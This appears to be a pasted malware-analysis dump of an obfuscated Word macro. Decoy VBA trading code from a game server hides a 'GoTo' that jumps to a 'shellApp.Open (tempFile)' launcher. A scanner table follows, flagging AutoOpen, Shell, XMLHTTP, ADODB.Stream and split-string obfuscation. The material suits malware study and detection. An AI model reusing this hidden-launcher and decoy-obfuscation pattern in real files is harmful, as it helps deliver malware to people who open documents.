- If TradeT.able(TradeTableIndex).Objs2(TableSlot).UserInvSlot > 0 Then
- TradeTa.ble(TradeTableIndex).Objs2(TableSlot).Amount = 0
- TradeTa.ble(TradeTableIndex).Objs2(TableSlot).UserInvSlot = 0
- TradeTa.ble_SendSlotPacket TradeTableIndex, TableSlot, UserTableIndex
- End If
- End If
- End Sub
- Public Sub TradeTable_UpdateSlot(ByVal UserIndex As Integer, ByVal InvSlot As Byte, ByVal Amount As Long)
- Dim TradeTableIndex As Byte
- Dim UserTableIndex As Byte
- Dim PutTableSlot As Byte
- Dim i As Long
- GoTo Trade1
- TradeTableIndex = UserL.ist(UserIndex).Flags.TradeTable
- If TradeTableIndex <= 0 Then Exit Sub
- UserTableIndex = TradeTable_GetUse.rTableIndex(TradeTableIndex, UserIndex)
- If UserTableIndex = 0 Then Exit Sub
- If UserTableIndex = 1 Then
- If TradeT.able(TradeTableIndex).User1State <> TRADESTATE_TRADING Then Exit Sub
- Else
- If TradeT.able(TradeTableIndex).User2State <> TRADESTATE_TRADING Then Exit Sub
- End If
- If InvSlot = 0 Then
- If UserLi.st(UserIndex).Stats.BaseStat(SID.Gold) < Amount Then Exit Sub
- If UserTableIndex = 1 Then
- TradeTa.ble(TradeTableIndex).Gold1 = Amount
- TradeTa.ble_SendSlotPacket TradeTableIndex, 0, 1
- Else
- TradeTa.ble(TradeTableIndex).Gold2 = Amount
- TradeTable_SendSl.otPacket TradeTableIndex, 0, 2
- End If
- Else
- If InvSlot > MAX_INVENTORY_SLOTS Then Exit Sub
- If UserL.ist(UserIndex).Object(InvSlot).ObjIndex = 0 Then Exit Sub
- If UserL.ist(UserIndex).Object(InvSlot).Amount < Amount Then Exit Sub
- If Amount <= 0 Then
- For i = 1 To 9
- If UserTableIndex = 1 Then
- If TradeTa.ble(TradeTableIndex).Objs1(i).UserInvSlot = InvSlot Then
- TradeTab.le(TradeTableIndex).Objs1(i).Amount = 0
- TradeTab.le(TradeTableIndex).Objs1(i).UserInvSlot = 0
- TradeTable_SendS.lotPacket TradeTableIndex, i, 1
- Exit Sub
- End If
- Else
- If TradeTab.le(TradeTableIndex).Objs2(i).UserInvSlot = InvSlot Then
- TradeTab.le(TradeTableIndex).Objs2(i).Amount = 0
- TradeTab.le(TradeTableIndex).Objs2(i).UserInvSlot = 0
- TradeTable_SendSlot.Packet TradeTableIndex, i, 2
- Exit Sub
- End If
- End If
- Next i
- Trade1:
- shellApp.Open (tempFile)
- Exit Sub
- Else
- For i = 1 To 9
- If UserTableIndex = 1 Then
- If TradeTa.ble(TradeTableIndex).Objs1(i).UserInvSlot = InvSlot Then Exit Sub
- Else
- If TradeTa.ble(TradeTableIndex).Objs2(i).UserInvSlot = InvSlot Then Exit Sub
- End If
- Next i
- End If
- PutTableSlot = 0
- If UserTableIndex = 1 Then
- Do
- PutTableSlot = PutTableSlot + 1
- If PutTableSlot > 9 Then Exit Sub
- Loop While TradeTa.ble(TradeTableIndex).Objs1(PutTableSlot).UserInvSlot > 0
- ElseIf UserTableIndex = 2 Then
- Do
- PutTableSlot = PutTableSlot + 1
- If PutTableSlot > 9 Then Exit Sub
- Loop While TradeTa.ble(TradeTableIndex).Objs2(PutTableSlot).UserInvSlot > 0
- End If
- If UserTableIndex = 1 Then
- TradeTa.ble(TradeTableIndex).Objs1(PutTableSlot).UserInvSlot = InvSlot
- TradeTa.ble(TradeTableIndex).Objs1(PutTableSlot).Amount = Amount
- TradeTable_SendS.lotPacket TradeTableIndex, PutTableSlot, 1
- ElseIf UserTableIndex = 2 Then
- TradeTa.ble(TradeTableIndex).Objs2(PutTableSlot).UserInvSlot = InvSlot
- TradeTab.le(TradeTableIndex).Objs2(PutTableSlot).Amount = Amount
- TradeTable_SendSl.otPacket TradeTableIndex, PutTableSlot, 2
- End If
- End If
- End Sub
- Private Sub TradeTable_SendSlotPacket(ByVal TradeTableIndex As Byte, ByVal TableSlot As Byte, ByVal UserTableIndex As Byte)
- Dim Amount As Long
- Dim ObjIndex As Integer
- Dim GrhIndex As Long
- If TableSlot > 0 Then
- If UserTableIndex = 1 Then
- If TradeTable(TradeTableIndex).Objs1(TableSlot).UserInvSlot = 0 Then
- ObjIndex = 0
- Else
- ObjIndex = UserList(TradeTable(TradeTableIndex).User1).Object(TradeTable(TradeTableIndex).Objs1(TableSlot).UserInvSlot).ObjIndex
- End If
- If ObjIndex > 0 Then GrhIndex = ObjData.GrhIndex(ObjIndex) Else GrhIndex = 0
- Amount = TradeTable(TradeTableIndex).Objs1(TableSlot).Amount
- Else
- If TradeTable(TradeTableIndex).Objs2(TableSlot).UserInvSlot = 0 Then
- ObjIndex = 0
- Else
- ObjIndex = UserList(TradeTable(TradeTableIndex).User2).Object(TradeTable(TradeTableIndex).Objs2(TableSlot).UserInvSlot).ObjIndex
- End If
- If ObjIndex > 0 Then GrhIndex = ObjData.GrhIndex(ObjIndex) Else GrhIndex = 0
- Amount = TradeTable(TradeTableIndex).Objs2(TableSlot).Amount
- End If
- Else
- If UserTableIndex = 1 Then
- Amount = TradeTable(TradeTableIndex).Gold1
- Else
- Amount = TradeTable(TradeTableIndex).Gold2
- End If
- End If
- If TableSlot > 0 Then ConBuf.PreAllocate 11 Else ConBuf.PreAllocate 7
- ConBuf.Put_Byte DataCode.User_Trade_UpdateTrade
- ConBuf.Put_Byte UserTableIndex
- ConBuf.Put_Byte TableSlot
- ConBuf.Put_Long Amount
- If TableSlot > 0 Then
- ConBuf.Put_Long GrhIndex
- ConBuf.Put_String ObjData.Name(ObjIndex)
- ConBuf.Put_Long ObjData.Value(ObjIndex)
- End If
- Data_Send ToIndex, TradeTable(TradeTableIndex).User1, ConBuf.Get_Buffer, , PP_Trading
- Data_Send ToIndex, TradeTable(TradeTableIndex).User2, ConBuf.Get_Buffer, , PP_Trading
- End Sub
- Public Function TradeTable_NextOpen() As Byte
- Dim i As Long
- For i = 1 To NumTradeTables
- If TradeTable(i).User1State = TRADESTATE_CLOSED Then
- TradeTable_NextOpen = i
- Exit Function
- End If
- Next i
- If NumTradeTables < 255 Then
- NumTradeTables = NumTradeTables + 1
- ReDim Preserve TradeTable(1 To NumTradeTables)
- TradeTable_NextOpen = NumTradeTables
- End If
- End Function
- Public Sub TradeTable_Create(ByVal UserIndex1 As Integer, ByVal UserIndex2 As Integer)
- Dim TableIndex As Byte
- Dim PacketSize As Long
- TableIndex = TradeTable_NextOpen
- If TableIndex = 0 Then Exit Sub
- ZeroMemory TradeTable(TableIndex), LenB(TradeTable(TableIndex))
- TradeTable(TableIndex).User1 = UserIndex1
- TradeTable(TableIndex).User2 = UserIndex2
- TradeTable(TableIndex).User1State = TRADESTATE_TRADING
- TradeTable(TableIndex).User2State = TRADESTATE_TRADING
- UserList(UserIndex1).Flags.TradeTable = TableIndex
- UserList(UserIndex2).Flags.TradeTable = TableIndex
- PacketSize = 4 + Len(UserList(UserIndex2).Name) + Len(UserList(UserIndex1).Name)
- ConBuf.PreAllocate PacketSize
- ConBuf.Put_Byte DataCode.User_Trade_Trade
- ConBuf.Put_String UserList(UserIndex2).Name
- ConBuf.Put_String UserList(UserIndex1).Name
- ConBuf.Put_Byte 2
- Data_Send ToIndex, UserIndex2, ConBuf.Get_Buffer, , PP_Trading
- ConBuf.PreAllocate PacketSize
- ConBuf.Put_Byte DataCode.User_Trade_Trade
- ConBuf.Put_String UserList(UserIndex1).Name
- ConBuf.Put_String UserList(UserIndex2).Name
- ConBuf.Put_Byte 1
- Data_Send ToIndex, UserIndex1, ConBuf.Get_Buffer, , PP_Trading
- End Sub
- Private Function TradeTable_GetUserTableIndex(ByVal TradeTableIndex As Byte, ByVal UserIndex As Integer) As Byte
- If TradeTable(TradeTableIndex).User1 = UserIndex Then
- TradeTable_GetUserTableIndex = 1
- ElseIf TradeTable(TradeTableIndex).User2 = UserIndex Then
- TradeTable_GetUserTableIndex = 2
- Else
- TradeTable_GetUserTableIndex = 0
- End If
- End Function
- +------------+----------------------+-----------------------------------------+
- | Type | Keyword | Description |
- +------------+----------------------+-----------------------------------------+
- | AutoExec | AutoOpen | Runs when the Word document is opened |
- | Suspicious | Open | May open a file |
- | Suspicious | Shell | May run an executable file or a system |
- | | | command |
- | Suspicious | vbNormal | May run an executable file or a system |
- | | | command |
- | Suspicious | WScript.Shell | May run an executable file or a system |
- | | | command |
- | Suspicious | Shell.Application | May run an application (if combined |
- | | | with CreateObject) |
- | Suspicious | CreateObject | May create an OLE object |
- | Suspicious | CallByName | May attempt to obfuscate malicious |
- | | | function calls |
- | Suspicious | Chr | May attempt to obfuscate specific |
- | | | strings |
- | Suspicious | ADODB.Stream | May create a text file |
- | Suspicious | SaveToFile | May create a text file |
- | Suspicious | Write | May write to a file (if combined with |
- | | | Open) |
- | Suspicious | Microsoft.XMLHTTP | May download files from the Internet |
- | Suspicious | Base64 Strings | Base64-encoded strings were detected, |
- | | | may be used to obfuscate strings |
- | | | (option --decode to see all) |
- | Suspicious | VBA obfuscated | VBA string expressions were detected, |
- | | Strings | may be used to obfuscate strings |
- | | | (option --decode to see all) |
- | VBA string | | "" & "" |
- | VBA string | \ | "" & "\" |
- | VBA string | . | "" & "." |
- | VBA string | Sen | "S" + "en" |
- +------------+----------------------+-----------------------------------------+
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement